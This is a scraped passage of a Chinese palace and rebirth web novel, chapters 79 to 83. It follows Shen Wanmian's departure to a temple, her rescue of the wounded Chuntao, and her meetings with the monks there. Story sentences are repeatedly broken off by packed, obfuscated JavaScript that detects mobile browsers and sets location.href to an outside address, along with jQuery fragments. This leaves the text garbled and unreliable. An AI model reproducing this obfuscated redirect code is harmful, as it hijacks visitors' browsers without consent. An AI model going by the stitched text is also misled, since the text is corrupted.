l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159090|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，眉目间满是轻蔑。 她微微扬起下巴，嘴角勾出一个挑衅的弧度。 “你可以和我的亲姐姐通奸，我难道就不能和你的兄弟在一起了吗？” 沈晚眠没有理会裴宴的神色，语气夸张的继续拱火道：“你还别说，这习武呐之人呐，的确比不一般。” 裴宴气的脸都涨红了，他用手指指着沈晚眠，从牙缝里挤出几个字。 “你……你竟然敢……” “我有什么不敢的。” 裴宴后退几步，他像是被抽走了全身的力气，久久不能言。 沈晚眠才不稀得理他，她直接将他无视，自顾自做起自己的事情。 再过几日便是上一世她与春桃初遇的日子，她得提前准备好，让春桃少受些苦。 短暂的沉默过后，裴宴盯着她的身影，眼底尽是对自己的嘲弄。 “我本以为你会和我一样，想着报仇的事情，既然你决定了要和老七花前月下，那我也没有必要把得到的消息告诉你了。” 留下这句话，裴宴便摔门而出。 沈晚眠才不信，他这般没用的人，能查到什么有用的消息。 …… 御书房内，皇帝坐在龙椅上，盯着下首的裴行止看了好久。 “你与那沈家的女娘，是什么时候的事？” 皇帝刚安顿完萧贵妃，便听到小宫女们在议论老七和沈晚眠的事。 刚才在湖心亭，他看出太子和沈晚眠的关系非同一般。 他正思考这件事，又传出沈晚眠和老七的事。 看来这个沈家的小女娘，很是不简单啊。 裴行止一时间不知该如何开口，难道要从小时候讲起吗？ 见他一直不说话，皇帝继续道：“要不你考虑一下蒙国王女？” 他不信老七会不对王女背后的势力心动。 “父皇，儿臣已经认定她了，此生非沈晚眠不娶，请父皇成全。” 裴行止跪在地上语气坚定道。 皇帝没想到老七竟情深至此。 他略微震惊，随后又有些疑问的开口道：“你是在向朕求赐婚吗？” 裴行止躬身行礼，言辞恳切道。 “不是，她有自己的打算，儿臣愿意一直等她，一直陪着她。” 第79章 离宫 皇帝沉思片刻。 “朕知道了，你先下去吧。” 裴行止走后，皇帝叫来大监。 “传令下去，今日宸王与沈家女娘的事，谁都不许再提，若还有人以讹传讹，杀无赦。” 卢珊珊和叶清瑶在牢里关了两天，便被各自的父母接回。 宫里她们肯定是不能继续待下去，皇子妃的位置，她俩也不能肖想了。 皇帝并无别的动作，只是听说皇后的“病”似乎更重了。 这日，萧贵妃已经能下地，她正被慧心扶着在院子里散步。 沈晚眠思虑再三，最终还是硬着头皮向她来请辞。 “贵妃娘娘，臣女想出宫。” 萧贵妃斜睨她一眼，随后冷笑一声。 “本宫当是谁呢，原来是沈二小姐，真是好久不见。” 听着萧贵妃的阴阳怪气，沈晚眠内心更加忐忑。 以萧贵妃的性格，自己骗了她，说自己与裴行止没有关系，她怕是不会轻易放过自己。 “娘娘说笑了，臣女不是一直在您的永和宫里吗？” 沈晚眠这话是在向萧贵妃表明，她一直都是她的人。 “呦，是吗？那你为何还要请辞啊？” “怕不是自己理亏，良心过不去，想要逃了吧。” 听到萧贵妃这样说，沈晚眠反而松了一口气。 她真正动怒时，是不会和人多说一句的。 看来她这些日子，真的走进了萧贵妃的心里。 她只是在气，自己没有对她说实话。 “娘娘，臣女知错了，还请娘娘能给臣女一个改过自新的机会，臣女愿往京郊的元音寺，替娘娘祈福。” 萧贵妃冷哼一声，还是如了她的愿。 “行啊，那你便去佛祖面前吃斋念佛，反省你的罪过去吧。” 夜里，沈晚眠与吉祥正在收拾行囊，门外忽然传来徐娇娇的声音。 “沈姐姐，你在吗？” 其实她比沈晚眠年长，但她叫习惯了，而且沈晚眠的行事风格的确要成熟的多。 和她相处久了，如果不是她这张脸，真的难以相信她仅有十六岁。 “我在，进来吧。” 徐娇娇推门而入，脸上尽是担忧之色。 “沈姐姐，你……当真要出宫吗？” 沈晚眠继续她的动作。 “当然了。” 随后，她对徐娇娇微微一笑，继续道：“人人都想来这宫中，觉得宫中奢靡繁华，有享不尽的荣华富贵，可来了才知道，这四四方方的天无趣的紧啊。” 回想上一世，她竟为了所谓的权利，甘愿做这笼中之鸟。 其实现在想来，还真是不值。 “可是沈姐姐，我舍不得你。” 这偌大的宫中，除了姑母，也只有沈晚眠值得她信任，而且沈晚眠算是她在宫里唯一的朋友，自己还跟着她学了那么多有用的东西，她实在不舍得她走。 “贵妃娘娘不是说了吗，你可以继续留在永和宫，往后我的那部分就由你代劳啦。” 沈晚眠拍拍她的肩膀，冲她挤眉弄眼。 徐娇娇被她逗笑，随后拿出一个包袱，交到沈晚眠手里。 “这是我为你准备的香粉，我这人没有别的本事，身上也没有银两，只有这个东西能拿出手了。” “沈姐姐，此行你一定要珍重。” 沈晚眠意味深长的笑了笑。 “别搞得跟这辈子都要见不着了似的，放心吧，我们会再见的。” 翌日清晨，沈晚眠带着吉祥，往宫门口走去。 隔着老远，她就看到三个在宫门口等着她的身影。 凑近一看，果然是裴汐和和裴舒妍。 沈晚眠心中一阵感动。 她收回之前的想法。 裴家的人还是值得深交的。 不过那人怎么没来？ 他都要走了，他竟然不来送送她吗？ 呵，男人，果然得不到的才是最好的，得到了就不珍惜了。 除了两位公主外，还有一位令她意想不到的人。 江时愿，她怎么也来了？ “呼延婷那个家伙，本来说要和我们一起来送你，事到临头，又去寻我四兄了，真是见色忘义！” 裴舒妍义正辞严的指责道。 听到她还好意思说别人，裴汐和忍不住戳穿她。 “得了吧，要不是今日季少渊有事，你能来？” 眼看二人又要掐起来，沈晚眠赶紧转移话题。 “多谢二位殿下前来相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162923|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送，不过时辰不早了，二位有什么想叮嘱的还是抓紧时间吧。” 裴汐和懒得跟裴舒妍吵，她今日来可是带着任务的。 “七兄有事，不能亲自来送你，他特意嘱咐我叫我将这个包裹给你，里面的东西都是他亲自为你准备的。” 沈晚眠接过包裹，心里多了一分说不出的高兴。 看来还是念着她的嘛。 “你注意身体，好好吃饭，按时睡觉，七兄让我当面跟你讲这些话。” 裴舒妍将手里的包裹塞给吉祥。 “还有这个，是我俩给你准备的盘缠，路上遇到好吃的，记得替我们尝尝。” 沈晚眠有些忍俊不禁，去寺庙的路上，能有什么好吃的。 “多谢二位殿下。” 随后，她将目光移向江时愿。 “江四小姐，好久不见” 江时愿朝她微笑点头。 “沈二小姐，路上多多保重，咱们会再见的吧。” 不愧是聪明人，一眼便能看出这其中的弯弯绕绕。 “谁知道呢，不过多谢江四小姐，连同之前的一起。” 江时愿面漏疑惑，没听懂她在说什么。 “之前？” “江四小姐不记得了吗？当年你和道长云游到一座破庙，救下了被拐走的几十个孩子，我就是其中之一。” 江时愿的眉头舒展开，脸上也染上笑意。 “想不到我们还有这样一段缘分，真是造化弄人。” 沈晚眠也笑着附和。 “谁说不是呢，不过过了这么久，江四小姐比以往倒是沉稳多了，我第一次见你时，险些没认出来。” 她记得，幼时的江时愿简直就像混世魔王般，性格泼辣的不像话。 当时她将人贩子揍的倒地求饶。 给沈晚眠留下了很深的印象。 按照常理来讲，她跟着道长云游四方，性格应该像小时候一样，泼辣直爽。 怎么会是今日这般？ 江时愿脸上的笑容变得有些勉强。 “是吗，也是，我不是也没认出沈二小姐吗？” 沈晚眠盯着她看了许久，没找出什么破绽，只能作罢。 “时间差不多了，我先走了，江四小姐，再会。” 第80章 缘法 马车一路畅通无阻，沈晚眠眯了一会儿，等她醒来时，已经到了目的地。 吉祥率先下车，而后伸出手臂，搀扶着沈晚眠。 沈晚眠缓步而下。 望着熟悉的景物。 她又想起了沈知舟咄咄逼人的嘴脸。 故地重游，她竟有一种物是人非的感觉。 车夫已经完成了任务，也不再多留，说了几句客套话便回去了。 深秋已至，寺门前变得寂寥。 门前的落叶，堆的厚厚一层，踩上去，还能发出“沙沙”的声响。 沈晚眠带着吉祥，叩响了紧闭的庙门。 不一会儿，一个看起来非常稚嫩的小和尚，打开了庙门。 “二位可是从宫里来？” 奇怪，他怎么知道自己的来历。 莫非是萧贵妃安排的？ 她什么时候变得这么贴心了。 “是的。” “不知姑娘是否姓沈？” 沈晚眠和吉祥对视一眼。 随后略带疑惑的点点头。 小和尚了然一笑。 “姑娘请进。” 小和尚领着她们进了寺庙。 吉祥终究是憋不住，问出了心中的疑惑。 “小师父，您是怎么提前知道我家小姐会来的？” 小和尚回应道：“珍妃娘娘经常来我们庙中礼佛，一来二去便与方丈相熟，昨日夜里，珍妃娘娘特意派人嘱托方丈，说是明日会有一位姓沈的姑娘，来庙里暂住，让我们提前为姑娘备下房间。” 吉祥听后，暗暗戳了戳沈晚眠，暧昧地对她眨眨眼。 沈晚眠心里涌起一股暖流，或许她真的可以试着尝试新生活。 古刹之中，暮霭沉沉。 一位身形清瘦的小和尚，双手合十恭敬地在前方走着。 身后还跟着两位女娘。 小和尚带着二人绕过幽静的回廊，行至一处厢房前。 “二位姑娘一路上舟车劳顿，想必已然累了，若有何需求唤小僧便是。” 沈晚眠微微颔首，轻声道：“有劳小师父了。” 小和尚走后，吉祥问出了心底的疑惑。 她一边取出行囊中的东西，一边道：“小姐，您何要自请来此处？我看萧贵妃对您也没多大怨气嘛。” 沈晚眠抚摸着墙角的书架，随意抽出一本佛经。 随后她行至窗前的桌椅，轻轻坐了上去。 屋内陈设虽然简朴但却干净整洁，一看便知僧人们经常打扫。 推开窗，是一片葱郁的竹林。 竹子高低错落，枝叶扶疏，在微风中沙沙作响。 阳光透过竹叶的缝隙洒至窗前，形成一片细碎的光影。 沈晚眠感觉她的心绪从未像此刻般宁静。 “谁知道呢？或许我与此地有缘。” 吉祥越来越搞不懂她家小姐脑子里到底在想些什么。 不过她也无需多想，小姐做的事一定有她自己的道理，她只需要跟着做就是。 用过斋饭后，沈晚眠提出想去拜见方丈。 送饭的小和尚便带着二人来到大殿。 大殿内，方丈身披绛红色袈裟，端坐在蒲团之上。 身后的众弟子身着灰袍，双手合十，神情十分虔诚。 不过沈晚眠注意到，方丈的身后，空了两处位置。 “姑娘且先在此处等一会儿。” 小和尚生怕惊扰到殿内的众僧人，声音压得不能再低。 沈晚眠点头示意，她微微福身，向小和尚致谢。 不久，众僧人纷纷起身，朝着佛祖的金身行了一礼。 方丈似乎感觉到什么，他转过身，直直看向沈晚眠。 接着，方丈瞳孔骤然一缩，久久不能回神。 随后，方丈快步来到沈晚眠身前，仔仔细细地将她打量一遍。 沈晚眠心头一紧，该不会…… “姑娘，你……” “阿弥陀佛，既来之则安吧。” 方丈最终没有点破，万物皆有自己的缘法。 “方丈，恕我冒昧，您身后为何空着两个位置？” 沈晚眠也知道自己的言行有些无状。 可冥冥之中，仿佛有什么东西，引导着她问出这句话。 方丈并没有觉得冒犯，他轻声回应道：“我有两位亲传弟子，他们二人一位卧病在床，一个不知躲哪里去了。” 吉祥听着二人的对话，心里忍不住犯起嘀咕。 这是……在干嘛？ 这话题不对劲吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162924|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还有这些日子，她与小姐相处，总感觉她既熟悉，又陌生。 小姐为何突然学会了这么多东西，为何心智突然那么成熟？ 为何能提前预料到一些事情？ 这种感觉很让她不安，她怕小姐会抛弃自己。 会不需要自己。 这种不安感几乎要将她吞噬。 回到厢房，吉祥还是忍不住，说出了积压在心底已久的话。 “小姐，您……到底怎么了，您……会抛下我吗？” 吉祥的话让沈晚眠意识到，自重生以来，她一直忽视了身边人的感受。 吉祥从下陪着自己，是最了解自己的人。 眼下她虽然还是她，但灵魂已经不是十几岁的少女。 行事也与之前大不相同。 吉祥心里害怕，是正常的。 “吉祥，这段时日我的变化，吓到你了吧，但有些事情我没办法向你解释，可是有些事，永远不会变。” 她缓步上前，将吉祥拥抱在怀中。 “我们一起长大，一起熬过那段艰难的日子，在我心里，早已将你当做我的家人，我永远不会抛下你，就算还有下辈子，下下辈子，也不会。” 吉祥忍不住在她怀里小声抽泣。 “呜呜呜，小姐，我也是。” 将吉祥安顿好后，沈晚眠忍不住反思自己。 她总觉得复仇是她自己的事，总是一个人单打独斗。 现在，她突然意识到，她从来不是一个人。 她的身边一直都有人默默支持她，关心她。 吉祥，表兄，还有……他。 甚至以后还会有新的人，逐渐走进她的生活。 …… 想着想着，她便进入了梦乡。 第二日从床上醒来时，她觉得十分不可思议。 难道是身处佛门的缘故，一直让她头疼的失眠问题，竟然解决了！ 而且她没有任何不适感，甚至神清气爽。 吉祥推门进来时，看到沈晚眠活力满满的模样，也是十分欣喜。 “小姐，您快躺下，快多睡一会。” 小姐好不容易睡了个好觉，可得多睡一会。 “好了，今日咱们还有正事要做，别耽误了时辰。” 第81章 春桃 今日便是上一世与春桃相遇的日子，她得提前做好准备。 虽然是深秋，但今日的日头不知为何分外的毒。 沈晚眠与吉祥二人来到寺庙后面荒山的山脚处。 这里没有树荫，她们只能顶着大太阳，站了快一个时辰。 还没见到春桃的身影。 不应该啊，春桃怎么还没到，难道是是她记错位置了？ “小姐，您到底在等谁啊，这都快一个时辰了，还没等到吗？” 沈晚眠心里有些打鼓，但她还是觉得自己没找错地方。 “应该快了，再等等。” 她的话刚说完，就看到远处有一个模糊的身影正踉踉跄跄的向她们走来。 沈晚眠悬着的心终于落地。 “吉祥，快，就是她。” 二人快速向人影靠近。 源井桃的衣衫早已被鲜血浸透，她身上大大小小的伤口，多得她自己都数不清。 她走的每一步，都无比艰难。 快了，快了，只要进了山，那群人就不能追上她。 突然，远处出现两个身影，正朝她跑来。 难道是那人的外应！ 源井桃想抽出刀与之对抗，却怎么都使不上力气。 在她看清二人模样之前，她再也支撑不住，直直倒在地上。 沈晚眠看到她忽然倒地，赶紧加快了速度。 等她来到她身边时，心头止不住一惊。 她身上的伤，怎么更重了！ “吉祥，快，搭把手。” 吉祥看到浑身是血的女人，忍不住发怵道：“小姐，你这是……” “来不及解释了，快来帮我。” 二人费了好大力气，才将人搬到寺院后门。 “吉祥，你在这里守着，我去找方丈。” 寺庙不宜见血腥，她得提前知会方丈一声。 方丈听了她的话，和上一世一样，同意了她的请求。 毕竟是人命关天的事，他怎能袖手旁观。 向佛祖忏悔过后，方丈叫来几个弟子一同去救人。 把人安置好后，沈晚眠向几位僧人道谢。 “多谢各位师父，今日愿意破戒。” 一位健谈的僧人摆摆手，无所谓道：“这有啥，这种事我们庙里都干过两回了，不算破戒。” 不知为何，沈晚眠突然想到昨日那两位缺席的弟子。 “和方丈的两位亲传弟子有关？” “对啊，就是他俩，他俩来的时候……” 意识到自己多言，僧人赶紧闭了口。 “害，事情有点复杂，以后再跟你讲哈。” 说者无心听者有意，上一世沈晚眠并不知道这两位的存在，再加上她救人心切，所以压根没注意僧人说了什么。 现在她越来越觉得，那二人身上，一定有疑！ 大夫已经为伤员包扎好了伤口，他写下药方，又拿出外敷的药，叮嘱吉祥按照时辰为她换药。 做完这一切，大夫才长舒一口气。 “如何了，她可无碍？” 沈晚眠担忧问道。 “幸亏你们发现的及时，也幸亏这女娘身体好，流了这么多血都能抗住，不然就是大罗神仙来了也救不活。” 沈晚眠一惊，怎么会这样！ 她怎么会伤的这么重？ 等人都走了后，沈晚眠来到房间里，心疼点将她紧皱的眉毛抚平。 一定很疼吧，都怪自己，上一世没能问出春桃的遭遇。 不然也不会等到今日才来救她。 沈晚眠在她床前坐了很久，直到月上枝头，她都没动。 吉祥心疼自家小姐，为了这样一个来路不明的女人，连晚膳都没用。 “她到底是何方神圣，竟将小姐的魂都勾了去。” 听到吉祥拈酸吃醋的话，沈晚眠只笑了笑。 “你啊，赶紧去睡吧，我来守着她就行。” 吉祥反驳道：“小姐，这话应该我来说，您快回去休息吧，我守着她，您好不容易能睡个好觉……” 沈晚眠坚持要这么做，吉祥只能妥协。 她是怕吉祥这丫头夜里睡的太沉，春桃醒的时候，可是要“**”。 还是自己看着比较放心。 不知过了几个时辰，沈晚眠都快撑不住，春桃终于睁开了眼。 只不过与上一世不同，上一世她醒来时，直接将刀架在了吉祥脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈晚眠为她换上药，也趴在她床头睡去。 这一觉她本就睡的不踏实，等到第二日清晨。 门外的脚步声直接将她惊醒。 第82章 酒气 沈晚眠听到动静，立马打起十二分精神。 不会是春桃的仇家寻来了吧！ 听声音脚步是从窗边传来的。 她屏住呼吸，缓缓直起身子，轻手轻脚的朝着窗边走去。 她走的每一步都小心翼翼，生怕发出声响，惊动窗外的人。 好不容易挨到窗边，她伸出一只手，悄悄掀开一条缝，另一只手则紧紧按着窗户，如果情况不对她好立马封窗。 她刚想凑上前一探究竟。 一只强有力的大手忽然伸进，紧紧握住她的手腕。 她还未反应过来，整个人便已被拽出窗外。 这下完蛋了！ 她紧紧闭起双眼，不敢看接下来的画面。 裴行止去她原本住的厢房寻她，结果扑了个空。 行至此处，他闻到一股很浓的血腥味。 寺庙内怎么会有血腥味！ 他察觉到这间厢房不对劲，便想过来看看。 原本想翻窗而入，还不等他有动作，就看到窗户被里面的人悄悄敞开一条缝隙。 出于本能，他直接将手伸进去，想把人拉出。 看到是沈晚眠，他心头一紧，立马改变动作，将力气往回收。 随后他将人捞到怀里，紧紧护住。 地怎么是软的？ 预想中的疼痛没有出现，沈晚眠呆呆的睁开眼。 惊魂未定的抬眸望去。 裴行止！怎么是他！ 沈晚眠一骨碌从他身上爬起，有些尴尬的拍了拍身上不存在的灰尘。 “你……你怎么在这？” 没想到二人确定关系后第一次相见竟然会是这种场景。 裴行止也有些尴尬，他差一点就把她伤了。 “我……你受伤了！” 他又闻到那股血腥味了，从她身上传来的！ 对上他担忧的目光，沈晚眠一时不知该怎么解释。 “不是…害…此事说来话长，长话不好短说，我……” 突然，裴行止似乎想到什么，脸上瞬间泛起可疑的红。 寺庙，迁居，女娘，血腥味。 她……是来月事了吧。 沈晚眠见他这个反应，知道他一定是想岔了。 算了，解释好累，就这样吧。 “你还没回答我，你怎么在这？” 沈晚眠继续追问道。 裴行止心虚的移开眼。 “我想你了，来看看你。” 前几日，皇宫突然冒出一波蒙面刺客，他一路追杀，其余几人都已捉拿归案。 唯独有一个身形最灵活的。 一直寻不到踪影。 被抓住的几个刺客怎么都不肯交代自己的来历。 还试图服毒自尽。 他几番查探，才隐约猜测到他们的身份。 西瀛间谍。 应是西瀛战败，他们背后之人按耐不住，让他们行刺大齐皇室。 他将此事告知皇帝后，皇帝叫他不要对外声张，事情要悄悄的，不着痕迹的办。 因此他才没对沈晚眠说实话。 “来看我是什么见不得人的事吗，需要鬼鬼祟祟？” 沈晚眠才不信他的话。 以她对他的了解，这人说谎时，不敢直视对方的眼睛。 刚才他在说话时，眼神飘忽不定，显然有鬼。 算了，每个人都有自己的秘密，她不是也向他隐瞒了春桃的事吗。 “人你已经看完了，回去吧。” 裴行止有些不知所措。 他的确不是刻意来看她，昨夜，他顺着刺客留下的痕迹，一路追踪至元音寺后山，才断了线索。 或许那人还有外应，已经被同伙接走。 此事事关重大，需得回去好好调查。 想到沈晚眠也在元音寺，他便想着来看看她。 如今人就在眼前，他却不知该说些什么。 “哦……好，你好好照顾自己，过几日我让阿烟过来保护你，近日不太平，尽量待在寺里不要乱跑，我先走了。” 刚来就要走，真不知道他来是干嘛的。 沈晚眠心底隐隐有些失落。 “知道了，你走吧。” 她背过身，故意不去看他。 裴行止伸出手，还想说些什么。 想了想最终还是没说出口。 沈晚眠偷偷回头看，人已经走远了。 她心里升起一股无名火，却又无处发泄。 这算什么！ 她气呼呼的回到房间，春桃还在睡着。 她替春桃盖好被子，便出去觅食了。 沈晚眠走后，源井桃突然睁开双眼。 刚才来的人，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说罢，他突然重新倒下，手里的酒壶也掉在地上。 沈晚眠吓的站起身。 他怎么突然倒下了？ 该不会…… 阿弥陀佛阿弥陀佛，佛祖保佑。 她在原地挣扎了许久，才下定决心上前去看看无念的情况。 刚迈出一步，一阵震天的呼噜声突然响起。 沈晚眠定在原地，有些无语。 这人怎么能说睡就睡！ 回到寺庙，沈晚眠迎面撞上昨日和她搭话的僧人。 “是你啊，沈姑娘，昨日那个姑娘醒了吗？” 沈晚眠有些心不在焉的点点头。 “你这是……” 僧人似乎闻到她身上的酒味，有些不确定道。 沈晚眠刚想解释，僧人了然道：“姑娘一定是遇到了无念，他这几日心情不好，肯定是不知躲到哪里喝酒去了。” 沈晚眠疑惑道：“心情不好？” 僧人叹了一口气，语气也染上沉重。 “方丈有两位关门弟子，其中一个是无念，另一个……时日无多了。” “无牵师兄比无念早进门，他性格温和，待人友善，无念性格桀骜不羁，不服管教，除了无牵，没有人愿意与他亲近。” 原来如此，怪不得刚才无念说求上苍垂怜他。 “多谢师父解惑。” 僧人挠挠头，不好意思的笑了。 “不必客气，我法号叫通尘，以后称呼我法号就好。” “沈姑娘，我还有事，下次再聊哈。” 通尘来也匆匆去也匆匆。 这里的僧人和她想的完全不同，怎么都如此有个性。 沈晚眠回到安置春桃的房间，此刻吉祥正在给她喂药。 二人还有说有笑，气氛十分融洽。 “小姐，你去刚才去哪了？” 吉祥见到沈晚眠，赶紧上前关心道。 “没事，随便走走，散散步。” 吉祥埋怨道：“那您也得提前知会我一声，不然我会担心的。” 沈晚眠笑着应下，目光转向床上的春桃。 “好点了吗？” 春桃用力点点头。 “多谢小姐救命之恩。” 沈晚眠有些诧异她的变化，怎么只过了一夜，她就顺**了。 “我的这条命是小姐给的，以后我便是小姐的人，还望您不嫌弃。” 从这个婢女口中，源井桃知道了沈晚眠的来历。 既然她与大齐皇室颇有渊源，那自己就必须想办法留在她身边。 沈晚眠没说话，她还是想弄清她背后的秘密，再对她做打算。 “你先好好休息，等你伤养好了再说。” 吉祥对她很是喜欢，她觉得身边多位同伴也挺好的。 “小姐，您就答应了吧。” 沈晚眠戳戳她的脑袋。 “你一个我都要养不起了，再说扣你月钱。” 吉祥朝源井桃耸了耸肩，示意她也无能为力。 也罢，来日方长，瞧她对自己的态度，她能留下的几率还是很大。 …… 夜里，沈晚眠刚要入睡，却被诵经声吵醒。 想到白日里那位僧人的话，莫不是那位无牵师父…… 她穿上衣服，快步走出房门。 月光将她的身影拉的很长。 她走在石板路上，顺着诵经的方向寻去。 穿过回廊，她来到一处禅房前。 透过窗户，她看到一位僧人静静的躺在床上，面容安详却毫无生气。 方丈身披袈裟，手持佛珠，领着一众弟子围在床前，正低声为他祈福。 仔细看看，无念也在其中。 他紧跟在方丈身后，虔诚中，又夹杂着些许痛苦，不甘。 这与她早上遇到的那个无念，截然不同。 此情此景，沈晚眠从心底生出一股悲凉之意。 无牵知道自己就要不行了，可他眼中没有丝毫惧意。 他马上，就可见到她了。 这么多年不见，她还能认出自己吗？ 自己现在的样子，会不会吓到她。 她一定会大吃一惊，然后捧着肚子笑话他。 想到这里，无牵忍不住嘴角上扬。 恍惚间，窗外传来一道光，无牵扭过头，他好像看见她了，她就站在窗外，静静的看着自己。 她还是那么年轻，那么漂亮。 无牵笑着朝她伸出手。 “你是来接我的吗？” 她也笑着，一步步朝他走来。 她的脸逐渐清晰，无牵却突然愧疚的痛哭起来。 “对不起……对不起……是我对不起你……” 她微笑着摇摇头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身世 “姑娘，你来。” 她正想着方丈呢，下一秒方丈便出现在拐角处。 沈晚眠有些不明所以。 但还是跟着方丈进了禅房。 屋内檀香袅袅，闻着很是让人心安。 沈晚眠与方丈面对面坐着。 方丈为她倒上一茶。 “姑娘，你可有什么想问我的？” 沈晚眠思量了一番，最终决定还是从无念问起。 “方丈，您能跟我讲讲无念的故事吗？” 方丈有些诧异：“你不好奇无牵和你有什么渊源吗？” 逝者已逝，如今她还是更好奇无念经历了什么。 “不知为何，无念师父总给我一种似曾相识之感。” 方丈微微颔首，随即叹了一口气。 “无念起初并非佛门弟子，我有一次外出修行，路过一处荒林，看到他倒在地上，身上还有伤，身边也没有别人，我怕深夜有野兽出没，便捡了他跟我回落脚处。” 方丈似乎想到有趣的事，语气也变的松快。 “当时他身上穿着的，还是道袍。” 道袍？！ 也就是说，无念先入道，**佛！ 好家伙，他也是古往今来第一人了。 “后来他醒了，我跟他开玩笑，问他要不要跟我做和尚，谁知他沉默片刻，竟真的同意了。” “我当时也是不信邪，将剃刀架到他脑袋上，想看他后悔的样子，谁知他竟然合十双手，闭上双眼，等着我剃。” 方丈顿了顿，神色变得低落。 “之后我就带他回了元音寺，他从未说过他身上到底发生了什么，我也没提。不过前些日子，有人向他传信，说和他从小一起长大的道门师弟去世了。” 难怪无念如此伤心，接连两个师弟去世，谁都承受不住。 “无念刚来时脾气不好，不愿与人亲近，唯有无牵不嫌弃他，做什么都想着他，日子久了，无念的心性也渐渐柔和。” 沈晚眠好奇道：“无牵师父也是半路出家吗？” 她记得通尘跟她讲过，方丈的两位弟子都是受着伤进的寺庙。 方丈突然哈哈大笑。 “我们寺里的，都是半路出家。” “他们大多都是被我捡回来的，你最熟悉的通尘，四岁时被我从人贩子手里“偷来”，还记的他当时呆呆的，只知道傻笑，给个糖人便跟我走了。” 或许是想到往事，方丈不自觉流露出和蔼的微笑。 这两日的见闻，彻底打破了沈晚眠对僧人的认知。 她原本觉得，僧人都是不苟言笑，神圣庄严的。 如今看来，他们也是有血有肉，会喜怒哀乐的普通人。 只不过比平常人多了一份信仰，多了一份慈悲之心。 “无牵的事我倒略知一二，当年他上京寻妻，却被告知妻子已经另嫁他人，他妻子的新夫家，还将他打了一顿，他家中父母早已双双亡故，如今孑然一身，了无牵挂，便决心皈依佛门。” 沈晚眠听后内心极度复杂。 那种感觉，叫她形容不上来。 “既然已经嫁给他做妻子，那又为何上京寻妻，他们二人为何分别？” 方丈无奈的叹了一口气。 “都是前尘往事，无牵并未解释过。” 明明是很悲痛的故事，沈晚眠却总觉得哪里不对劲。 她想了很久，终是没想明白。 “小姐，怎么感觉你魂不守舍的，出什么事了？” 自打小姐回来，便一直没有说话，喊她用晚膳，她也不动。 沈晚眠回过神，有些发懵道：“啊？没事，你刚才说什么？” 吉祥将晚膳端到桌上：“吃饭！” 这两日吉祥一直在照顾春桃，沈晚眠白日睡了，本想晚上替一替吉祥，却被吉祥拒绝。 “不行，小姐你哪会照顾病人，还是我来吧。” 源井桃也帮腔道：“小姐千金之躯，怎么能让您照顾我。” 她看出沈晚眠对自己的身份存疑。 沈晚眠太聪明，她怕自己与她相处会露馅。 她已将主仆二人的性格摸清，相比之下还是吉祥更稳妥一点。 还能顺便套出点话。 “我怎么不会照顾病人，听我的，快回去休息。” 她想单独和春桃相处，正好打听打听她的事。 沈晚眠与吉祥推搡之时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174924|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通尘突然来了。 “沈姑娘，门外有个叫阿烟的姑娘找你，说是宸王殿下派她来的。” 听到阿烟的名字，源井桃心头一紧。 那日追杀她的，不就是那个叫阿烟的吗！ 虽然当时自己蒙了面，可身上的伤口还在。 若是让她瞧见，自己不就暴露了！ 沈晚眠不假思索道：“让她过来吧。” 源井桃攥紧被子，看来这个地方她是不能待了。 通尘略带为难道：“无牵师兄刚下葬，方丈下令闭门七日，外人不得入门。” 